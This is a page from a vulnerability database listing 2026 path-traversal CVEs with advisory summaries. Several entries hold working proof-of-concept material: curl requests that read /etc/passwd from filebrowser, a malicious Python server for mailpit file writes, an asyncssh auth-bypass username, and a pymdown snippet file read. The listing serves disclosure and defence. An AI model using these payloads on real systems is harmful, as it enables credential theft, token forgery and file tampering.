CWE-22: Path Traversal vulnerabilities
2,281 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 4.4 | EPSS 0.2% | CVE-2026-46671msiemens onenote.rs · Path Traversal Medium4.4EPSS 0.2%CVE Database V5CVE-2026-46671 Rust OneNote File Parser is a parser for Microsoft OneNote files implemented in Rust. Prior to version 1.1.1, a maliciously crafted `.onetoc2` table-of-contents file can cause `Parser::parse_notebook` to open arbitrary files on the host filesystem outside the notebook's directory. The parser reads entry names listed inside the `.onetoc2` and joins them against the notebook's base directory without validating that they are relative paths confined to that directory. The parser will bail out when the target file fails to parse as a OneNote section, so direct content exfiltration through the parser's return value is not practical, though file-existence probing and denial-of-service via large or special files remain possible. Anyone using `onenote_parser` to parse .onetoc2 files received from untrusted sources is affected. Users who only ever parse their own notebooks are not at meaningful risk. The issue is fixed in onenote_parser 1.1.1. The fix rejects absolute paths, parent-directory components, and other invalid path characters in entry names, and additionally canonicalises the resolved path to confirm it stays inside the notebook's base directory. For users who cannot upgrade to 1.1.1, only call `Parser::parse_notebook` on `.onetoc2` files from trusted sources. Alternatively, use `Parser::parse_section` / `Parser::parse_section_buffer` on individual .one files, which do not perform the directory walk. | CVE Database V5 | ||
| High | 7.7 | EPSS 0.4% | CVE-2026-54910gtsteffaniak filebrowser · Path Traversal High7.7EPSS 0.4%CVE Database V5CVE-2026-54910 ### Summary The `subtitlesHandler` endpoint (`GET /api/media/subtitles`) accepts two user-controlled query parameters: `path` and `name`, both of which are used in filesystem operations without sanitization, creating two independent path traversal vectors. The primary vector is the `path` parameter: it is passed directly to `idx.GetRealPath()` without calling `SanitizeUserPath()`, allowing an attacker to escape the storage root and set `parentDir` to any directory on the host. No existing anchor file is required. The secondary vector is the `name` parameter: it is joined with `parentDir` via `filepath.Join(parentDir, name)` without stripping directory components, allowing traversal relative to any resolved `parentDir`. Any authenticated user (regardless of role or permissions) can exploit either vector to read any text file readable by the server process, including `/etc/passwd`, SSH keys, database credentials, and JWT signing keys. ### Details **1. `path` parameter lacks `SanitizeUserPath()` — primary vector (`http/media.go:54`)** ```go userscope, err := d.user.GetScopeForSourceName(source) // ... realPath, _, err := idx.GetRealPath(userscope, path) // path is raw user input, no sanitization // ... parentDir := filepath.Dir(realPath) // line 59: attacker controls this directory ``` `SanitizeUserPath()` explicitly rejects `..` segments: ```go func SanitizeUserPath(userPath string) (string, error) { // ... for _, segment := range segments { if segment == ".." { return "", fmt.Errorf("invalid path: path traversal detected") } } // ... } ``` Every other handler in the codebase calls `SanitizeUserPath()` before `GetRealPath()`. This handler skips it, so `path=../../etc/passwd` resolves `parentDir` to `/etc`, with no anchor file required. **2. `name` parameter used directly in `filepath.Join` — secondary vector (`http/media.go:63`)** ```go name := r.URL.Query().Get("name") // line 37 — raw user input // ... content, err = utils.GetSubtitleSidecarContent( filepath.Join(parentDir, name)) // line 63 — TRAVERSAL ``` `filepath.Join(parentDir, "../../etc/passwd")` resolves the `..` components, escaping `parentDir`. This vector requires a valid file in scope as the `path` anchor. **3. `GetSubtitleSidecarContent` reads and returns file contents (`common/utils/media.go:17-43`)** ```go func GetSubtitleSidecarContent(subtitlePath string) (string, error) { info, err := os.Stat(subtitlePath) // follows the traversed path // size check: < 50MB isText, err := IsTextFile(subtitlePath) // checks UTF-8 validity content, err := os.ReadFile(subtitlePath) // reads and returns content return string(content), nil } ``` The only constraint is that the target file must be UTF-8 valid and under 50MB. Binary files silently return an empty string. **4. Endpoint is behind `withUser` but requires no special permissions** ```go // httpRouter.go api.HandleFunc("GET /media/subtitles", withUser(subtitlesHandler)) ``` Any authenticated user can access this endpoint: no admin, modify, share, or download permission is required. ### PoC **Vector 1: `path` traversal (no anchor file needed):** ```bash docker run -d --name filebrowser-q-lab -p 18080:80 gtstef/filebrowser:latest && sleep 3 TOKEN=$(curl -s -X POST "http://localhost:18080/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"') curl "http://localhost:18080/api/media/subtitles?path=../../etc/passwd&source=srv&name=passwd&embedded=false&auth=$TOKEN" ``` **Expected output:** `/etc/passwd` contents with HTTP 200. **Vector 2: `name` traversal (anchor file required):** ```bash mkdir -p /tmp/fbq-srv && echo "dummy" > /tmp/fbq-srv/poc.txt docker run -d --name filebrowser-q-lab2 -p 18081:80 -v /tmp/fbq-srv:/srv gtstef/filebrowser:latest && sleep 3 TOKEN=$(curl -s -X POST "http://localhost:18081/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"') curl "http://localhost:18081/api/media/subtitles?path=/poc.txt&source=srv&name=../../etc/passwd&embedded=false&auth=$TOKEN" ``` **Expected output:** `/etc/passwd` contents with HTTP 200. ### Impact - **Arbitrary file read**: Any authenticated user can read any text file on the host filesystem that the server process has read permission for. - **No anchor file required**: The `path` vector works on a default install with an empty storage root, so no existing file in scope is needed. - **Scope bypass**: Scoped users (restricted to a subdirectory) can escape their scope via either vector and access files belonging to other users or the host system. - **Credential exposure**: `/etc/passwd`, `/etc/shadow` (if running as root), SSH private keys, application configuration files with database passwords, API keys, and JWT signing secrets. - **Privilege escalation**: Reading the JWT signing key from the database or config file enables forging admin tokens. - **No special permissions required**: The endpoint only requires basic authenti | CVE Database V5 | ||
| Medium | 5.9 | EPSS 0.4% | CVE-2026-45711axllent mailpit · Path Traversal Medium5.9EPSS 0.4%CVE Database V5CVE-2026-45711 ### Summary The mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes .. segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory. ### Details Anyone who can convince a user to run mailpit dump --http <attacker-url> <dir> (typosquat, phishing tutorial, MITM of a plain-http:// Mailpit, or a compromised internal Mailpit they back up regularly) obtains an arbitrary file write primitive as the dumping user. Realistic post-exploitation includes overwriting init/cron files, shell startup files, CI artifact upload targets, web roots, etc. — anything the dumping user can write to, with attacker-controlled file bytes and a .eml filename suffix. ### Affected code [internal/dump/dump.go](https://github.com/axllent/mailpit/blob/develop/internal/dump/dump.go#L118-L155): path.Join("/safe/out/dir", "../../../../etc/cron.d/payload.eml") resolves to /etc/cron.d/payload.eml — the .. segments are normalized, not rejected. The remote server controls both m.ID (path) and the body of /api/v1/message/<id>/raw (contents). There is no filepath.Rel(outDir, out) containment check, no allow-list on m.ID characters, and no body-size cap. The underlying cause is that the command was added to back up a trusted Mailpit, but the trust model on the wire never gets validated — the operator only supplies a URL. ### PoC 1. Run a malicious "Mailpit" server that returns one message whose ID contains .. segments: ```python # evil-mailpit.py import http.server, json class Evil(http.server.BaseHTTPRequestHandler): def do_GET(self): if "/api/v1/messages" in self.path: resp = { "total": 1, "unread": 0, "count": 1, "messages_count": 1, "messages_unread": 0, "start": 0, "tags": [], "messages": [{ "ID": "../../../../tmp/mailpit-pwn", # ← traversal "MessageID": "x", "Read": False, "From": {"Name": "", "Address": "a@b"}, "To": [{"Name": "", "Address": "c@d"}], "Cc": None, "Bcc": None, "ReplyTo": [], "Subject": "evil", "Created": "2026-01-01T00:00:00Z", "Tags": [], "Size": 5, "Attachments": 0, "Snippet": "" }] } body = json.dumps(resp).encode() ctype = "application/json" elif "/raw" in self.path: body = b"PWNED BY MAILPIT DUMP TRAVERSAL\n" ctype = "text/plain" else: self.send_response(404); self.end_headers(); return self.send_response(200) self.send_header("Content-Type", ctype) self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) http.server.HTTPServer(("127.0.0.1", 19090), Evil).serve_forever() ``` ``` $ python3 evil-mailpit.py & $ mkdir -p /tmp/dump-out $ mailpit dump --http http://127.0.0.1:19090/ /tmp/dump-out ``` 2. Observe the file was written outside the requested output directory: ``` $ ls -la /tmp/dump-out/ /tmp/mailpit-pwn.eml /tmp/dump-out/ ← empty total 0 -rw-r--r-- 1 user user 31 May 11 16:16 /tmp/mailpit-pwn.eml $ cat /tmp/mailpit-pwn.eml PWNED BY MAILPIT DUMP TRAVERSAL ``` The same primitive trivially targets ~/.config/autostart/*.eml, ~/.bash_logout.eml (where it overwrites if symlinked), CI artifact dirs that ingest every file, or via long ../ chains any absolute path the user can write to. ### Impact Arbitrary file write via path traversal in mailpit dump --http, allowing a malicious Mailpit-compatible server to force writes outside the intended output directory. This can lead to overwriting sensitive files (e.g. cron jobs, CI artifacts, shell configs) and potential code execution depending on write location and privileges. | CVE Database V5 | ||
| Medium | 6.5 | EPSS 1.4% | CVE-2026-12898All-in-One WP Migration and Backup · Path Traversal Medium6.5EPSS 1.4%CVE Database V5CVE-2026-12898 The All-in-One WP Migration and Backup WordPress plugin before 7.106 does not properly sanitise a user-supplied value before using it to build a file path, allowing unauthenticated attackers to create or append a log file in arbitrary locations outside its intended storage directory. | CVE Database V5 | ||
| Medium | 5.1 | EPSS 0.5% | CVE-2026-16088halo-dev halo · Path Traversal Medium5.1EPSS 0.5%GCVE DatabaseCVE-2026-16088 CVE-2026-16088 is a path traversal vulnerability in the Download function of the MigrationEndpoint.java file within the Files Backup Endpoint component of halo-dev halo versions 2.24.0, 2.24.1, and 2.24.2. This vulnerability allows remote attackers to manipulate file paths, potentially accessing unauthorized files. Exploit code is publicly available, but no known active exploitation in the wild has been reported. The severity is assessed as medium. | GCVE Database | ||
| Medium | 5.3 | EPSS 0.6% | CVE-2026-48049hapijs inert · Path Traversal Medium5.3EPSS 0.6%CVE Database V5CVE-2026-48049 @hapi/inert provides static file and directory handlers for hapi.js. From 4.0.0 to 7.1.0, @hapi/inert serves static files from a directory configured with path in the directory or file handlers or relativeTo for h.file(), with confinement enforced by the confine option, but the confinement check compared the resolved absolute path against the confine directory using a raw string-prefix test, so a sibling directory such as /app/static-secret next to /app/static was incorrectly accepted and could allow an unauthenticated remote attacker to read files via /..%2fstatic-secret/secret.txt. This issue is fixed in version 7.1.1. | CVE Database V5 | ||
| High | 8.8 | EPSS 0.6% | CVE-2026-7667IBM Langflow OSS · Path Traversal High8.8EPSS 0.6%CVE Database V5CVE-2026-7667 IBM Langflow OSS 1.0.0 through 1.10.0 allows an authenticated attacker to create a malicious flow pointing to an attacker-controlled URL that returns a specially crafted Content-Disposition header (e.g., filename="../../../target/path" ), enabling arbitrary file write operations with attacker-controlled content to any path accessible by the Langflow process. | CVE Database V5 | ||
| High | 8.2 | EPSS 0.6% | CVE-2026-45309ronf asyncssh · Path Traversal High8.2EPSS 0.6%CVE Database V5CVE-2026-45309 ## Summary AsyncSSH 2.22.0 expands the OpenSSH-compatible `AuthorizedKeysFile` `%u` token with the raw SSH username during pre-authentication server config reload. A server configured with a documented per-user key pattern such as `AuthorizedKeysFile authorized_keys/%u` can be made to read an authorized-keys file outside the intended directory when the SSH username contains path traversal segments. If the attacker can place or reference a readable authorized-keys-format file containing their public key, the attacker can authenticate over SSH as the traversal username. ## Affected Product - Package: asyncssh - Ecosystem: pip - Affected versions: confirmed on 2.22.0; exact lower bound not finalized - Tested version: 2.22.0 - Audit commit/tag: tag `v2.22.0`, commit `af5a81e669633d83d535163f93b6bf3f957c9238` - PyPI sdist SHA256: `c3ce72b01be4f97b40e62844dd384227e5ff5a401a3793007c42f86a5c8eb537` ## Vulnerability Details - CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory - Component: AsyncSSH server config reload and public-key authentication (`asyncssh/config.py`, `asyncssh/connection.py`, `asyncssh/auth_keys.py`, `asyncssh/misc.py`) - Root cause: `%u` in `AuthorizedKeysFile` is expanded from the remote username without rejecting path separators or `..` segments, and the resulting path is opened without constraining it to the intended authorized-keys directory. - Security boundary violated: the configured authorized-keys directory and public-key authentication trust boundary. - Direct impact: public-key authentication succeeds using an attacker-selected authorized-keys file outside the intended directory. - Chain impact, if any: none claimed; direct authentication impact is primary. ## Attack Preconditions - The AsyncSSH server uses a config or equivalent pattern where `AuthorizedKeysFile` contains `%u`, for example `AuthorizedKeysFile authorized_keys/%u`. - Public-key authentication is enabled. - The attacker can place or reference a readable authorized-keys-format file outside the intended directory, such as a file in a world-writable or application-writable location. - The application does not separately reject usernames containing `/`, `\`, or `..` before AsyncSSH uses the username for key-file selection. ## Reproduction The run-scoped evidence contains a safe localhost proof: 1. Start the proof harness saved at [harness_app.py](https://github.com/user-attachments/files/27232526/harness_app.py) 2. Run [exploit_proof.py](https://github.com/user-attachments/files/27232538/exploit_proof.py) through [run_proof.sh](https://github.com/user-attachments/files/27232545/run_proof.sh) 3. The harness creates `sshd_config` with `AuthorizedKeysFile authorized_keys/%u`, writes the attacker's public key to a file outside `authorized_keys/`, starts a real AsyncSSH server, and attempts two SSH logins. 4. Expected result: the normal username `victim` fails, while the traversal username authenticates with the same attacker key. Observed proof output: ```text [CONTROL] username=victim success=False [ATTACK] username=../../../asyncssh-proof-exploit-proof-8b2bd23daeeb.pub success=True [ATTACK] output=AUTH_BYPASS_SUCCESS username=../../../asyncssh-proof-exploit-proof-8b2bd23daeeb.pub PASS: traversal username authenticated with attacker-controlled authorized_keys file ``` | CVE Database V5 | ||
| High | 7.5 | EPSS 0.6% | CVE-2026-7872IBM Langflow OSS · Path Traversal High7.5EPSS 0.6%CVE Database V5CVE-2026-7872 IBM Langflow OSS 1.0.0 through 1.10.0 allows an authenticated attacker to read arbitrary files including the JWT signing key and forge authentication tokens for any user. | CVE Database V5 | ||
| Critical | 9.9 | EPSS 0.6% | CVE-2026-8859IBM Langflow OSS · Path Traversal Critical9.9EPSS 0.6%CVE Database V5CVE-2026-8859 IBM Langflow OSS 1.0.0 through 1.10.0 Langflow could allow an attacker to write arbitrary files to unintended locations due to improper input validation in the APIRequest component. A path traversal vulnerability exists when the "Save to File" feature is enabled, where filenames extracted from HTTP response Content-Disposition headers are not sanitized before being joined to the temporary directory path. An attacker controlling an external HTTP server can supply crafted filename values containing path traversal sequences (e.g., ../), enabling arbitrary file writes to locations accessible by the Langflow process. | CVE Database V5 | ||
| High | 8.6 | EPSS 1.2% | CVE-2026-15343GitHub Enterprise Server · Path Traversal High8.6EPSS 1.2%CVE Database V5CVE-2026-15343 A path traversal vulnerability was identified in GitHub Enterprise Server that allowed an attacker with code execution inside a Dependabot updater container to write files to arbitrary repository paths, including GitHub Actions workflow files under .github/workflows/, because path validation did not check the actual write destination. The initial fix in versions 3.21.3, 3.20.5, 3.19.9, 3.18.12, and 3.17.18 was incomplete because validation checked the supplied symlink target, while the publisher wrote the file using its directory and name. Writing GitHub Actions workflow files required the Dependabot installation to have workflows: write permission. Depending on repository permissions and workflow configuration, including a relevant pull_request_target workflow or auto-merge, an injected workflow could execute with access to GitHub Actions secrets. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.23 and was fully fixed in versions 3.22.3, 3.21.8, 3.20.10, and 3.19.14. This vulnerability was reported via the GitHub Bug Bounty program. | CVE Database V5 | ||
| Medium | 4.9 | EPSS 1.1% | CVE-2026-15457Kirki (WordPress plugin) · Path Traversal Medium4.9EPSS 1.1%CVE Database V5CVE-2026-15457 The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 6.0.13 via the 'family' parameter. This makes it possible for authenticated attackers, with editor-level access and above, to delete arbitrary directories on the server, which can result in loss of data and availability. | CVE Database V5 | ||
| Medium | 4.3 | EPSS 0.7% | CVE-2026-15160Ninja Forms (WordPress plugin) · Path Traversal Medium4.3EPSS 0.7%CVE Database V5CVE-2026-15160 The Ninja Forms - Excel Export plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 3.3.6 via the 'spreadsheet_export_tmp_name' parameter. This makes it possible for authenticated attackers, with subscriber-level access and above, to write .xls/.xlsx files to arbitrary locations on the server, which can be used to stage further attacks. | CVE Database V5 | ||
| High | 8.8 | EPSS 1.8% | CVE-2026-44177getkirby kirby · Path Traversal High8.8EPSS 1.8%CVE Database V5CVE-2026-44177 Kirby is an open-source content management system. In versions 5.3.0 and above but prior to 5.4.1, Kirby did not correctly validate the provided user ID, resulting in a path traversal vulnerability. Version 5.3.0 introduced a performance improvement to the Users collection that loaded user objects lazily when first needed. Users were queried by their ID, which was then used to locate the corresponding account directory under site/accounts. This affected the authentication API (accessible to unauthenticated requests), the users API (accessible only to authenticated users), and any other place that uses $users->find() to look up an individual user by a request-provided email or ID. As a result, an attacker could trigger arbitrary PHP file inclusion of files named index.php (for example, the main PHP files of plugins), the impact of which depends on the logic those files contain. It also allowed probing for the existence of arbitrary directories on the server, letting attackers fingerprint the server and site setup, including installed plugins and the content structure. This issue has been fixed in version 5.4.1. | CVE Database V5 | ||
| High | 8.6 | EPSS 0.4% | CVE-2026-44023docling-core · Path Traversal High8.6EPSS 0.4%CVE Database V5CVE-2026-44023 Docling Core defines core data types and transformations for the document processing application Docling. In versions 1.5.0 and above, prior to 2.74.1, docling-core did not sufficiently restrict remote request destinations and could resolve a server-provided Content-Disposition to a local path in an unsafe manner. In applications that accept untrusted URLs, this could allow SSRF attacks targeting local files outside the user-defined cache directory. This issue has been fixed in version 2.74.1. | CVE Database V5 | ||
| High | 8.7 | EPSS 0.6% | CVE-2026-55629avwo whistle · Path Traversal High8.7EPSS 0.6%CVE Database V5CVE-2026-55629 Whistle is an HTTP, HTTP2, HTTPS, and WebSocket debugging proxy. Prior to 2.10.3, lib/service/service.js handles GET /cgi-bin/temp/get by reading req.query.filename, joining it to TEMP_FILES_PATH only when it matches the temporary file pattern, and otherwise passing the user-supplied filename directly to getFile, allowing a remote attacker to read arbitrary files such as /etc/passwd. This issue is reported as fixed in version 2.10.3. | CVE Database V5 | ||
| Medium | 4.3 | EPSS 0.4% | CVE-2026-46338facelessuser pymdown-extensions · Path Traversal Medium4.3EPSS 0.4%CVE Database V5CVE-2026-46338 # Summary `pymdownx.snippets` has a regression of the CVE-2023-32309 / GHSA-jh85-wwv9-24hv fix. With `restrict_base_path: True` (the default), the current `filename.startswith(base)` containment check does not enforce a directory boundary. As a result, a markdown snippet directive can read files from sibling paths that share the same prefix as `base_path`, such as `docs` vs `docs_internal`. The regression was introduced in PR #2039 / commit `7c13bda5b7793b172efd1abb6712e156a83fe07d`, which replaced the original directory-identity check with a plain string-prefix comparison. # Details The regression was introduced in commit `7c13bda5b7793b172efd1abb6712e156a83fe07d` (2023-05-15, #2039 *"Fix regression of snippets nested deeply under specified base path"*), which relaxed the original `os.path.samefile(base, os.path.dirname(filename))` check to a plain `startswith(base)`. `SnippetPreprocessor.get_snippet_path()` in `pymdownx/snippets.py`: ```python if self.restrict_base_path: filename = os.path.abspath(os.path.join(base, path)) # If the absolute path is no longer under the specified base path, reject the file if not filename.startswith(base): continue ``` `base` is `os.path.abspath(b)` and has no trailing separator. `str.startswith(base)` is `True` for any `filename` whose string representation begins with the same characters as `base`, regardless of whether those characters end at a directory boundary. Concrete example: * `base = "/x/docs"` * `path = "../docs_secret/leak.txt"` (inside the markdown snippet directive) * `os.path.join(base, path)` → `"/x/docs/../docs_secret/leak.txt"` * `os.path.abspath(...)` → `"/x/docs_secret/leak.txt"` * `filename.startswith(base)` → `True`, because `"/x/docs_secret/..."` begins with the literal string `"/x/docs"`. All releases from **10.0.1 (2023-05-15) through 10.21.2 (current)** are affected. # Impact Arbitrary file read within the host the build runs on, bounded by the prefix match. With `base_path = /x/docs` the attacker can read files from any sibling directory whose path begins with the literal string `/x/docs` followed by any non-separator character — for example `/x/docs_internal/`, `/x/docs.bak/`, `/x/docs2/`. The threat model is the same as the original CVE-2023-32309: markdown content processed by the snippets preprocessor in a build pipeline (typical scenario: an MkDocs documentation site built in CI from PR contributions or otherwise less-trusted markdown) can read files outside the configured base. CI builds that publish the generated HTML expose the read file to the public; CI builds with secrets on disk leak those secrets. # Reproduction Minimal local PoC, non-destructive: ```python import os, shutil, tempfile, markdown work = tempfile.mkdtemp(prefix="pmx_poc_") try: base = os.path.join(work, "docs") sibling = os.path.join(work, "docs_secret") os.makedirs(base) os.makedirs(sibling) with open(os.path.join(sibling, "leak.txt"), "w") as f: f.write("TOP_SECRET_FROM_SIBLING_DIR\n") out = markdown.markdown( '--8<-- "../docs_secret/leak.txt"\n', extensions=["pymdownx.snippets"], extension_configs={ "pymdownx.snippets": { "base_path": [base], "restrict_base_path": True, "check_paths": True, } }, ) print(out) # -> <p>TOP_SECRET_FROM_SIBLING_DIR</p> finally: shutil.rmtree(work) ``` Default `restrict_base_path: True` is sufficient — no non-default option is required. # Suggested fix Minimal change — require the separator after the base prefix: ```diff - if not filename.startswith(base): + # Append `os.sep` so a sibling directory whose name shares a prefix + # (e.g. `/x/docs` vs `/x/docs_evil`) cannot satisfy the check. + if not filename.startswith(base + os.sep): continue ``` This preserves the original intent (allow snippets nested at any depth under `base_path`) while restoring the directory-boundary check. It does not affect the `os.path.isdir(base)` branch where `base` is a file (that branch still uses `os.path.samefile`). Alternative: `os.path.commonpath([base, filename]) == base` is equivalent and slightly more idiomatic, though it raises `ValueError` on different drives on Windows and would need a `try/except`. The `startswith(base + os.sep)` fix is the smaller diff. Note: this fix does not change behaviour for symlinks inside `base_path`. The existing implementation uses `os.path.abspath` (not `os.path.realpath`), so a symlink within `base_path` pointing outside is still followed. That is a separate concern — symlinks require write access to `base_path`, a much higher bar than the current bypass — and matches the behaviour the CVE-2023 fix established. # Regression test A regression test class `TestSnippetsSiblingPrefix` was added in `tests/tes | CVE Database V5 | ||
| High | 7.1 | EPSS 0.4% | CVE-2026-46336manyfold3d manyfold · Path Traversal High7.1EPSS 0.4%CVE Database V5CVE-2026-46336 Manyfold is an open source, self-hosted web application for managing a collection of 3d models, particularly focused on 3d printing. From 0.96.0 until 0.140.0, authenticated users can rename uploaded files with path traversal sequences because app/models/model_file.rb uses the user-controlled filename in File.join(model.path, filename) without sufficient sanitization, allowing files to be moved or written outside the configured library directory. This issue is fixed in version 0.140.0. | CVE Database V5 | ||
| High | 7.0 | EPSS 0.2% | CVE-2026-13103Lenovo App Store · Path Traversal High7.0EPSS 0.2%CVE Database V5CVE-2026-13103 A potential path traversal vulnerability was reported in Lenovo App Store, distributed exclusively in the Chinese market, that could allow a local authenticated user to execute arbitrary code. | CVE Database V5 | ||
| High | 8.3 | EPSS 0.5% | CVE-2026-45576openziti zrok · Path Traversal High8.3EPSS 0.5%CVE Database V5CVE-2026-45576 zrok is software for sharing web services, files, and network resources. From 0.4.23 until 2.0.3, `zrok2 copy` stores attacker-controlled WebDAV or zrok drive paths such as /../outside.txt in the source inventory and passes them to FilesystemTarget.WriteStream, allowing the sync pipeline to write files outside the selected local filesystem destination root. This issue is fixed in version 2.0.3. | CVE Database V5 |
Page 44 of 115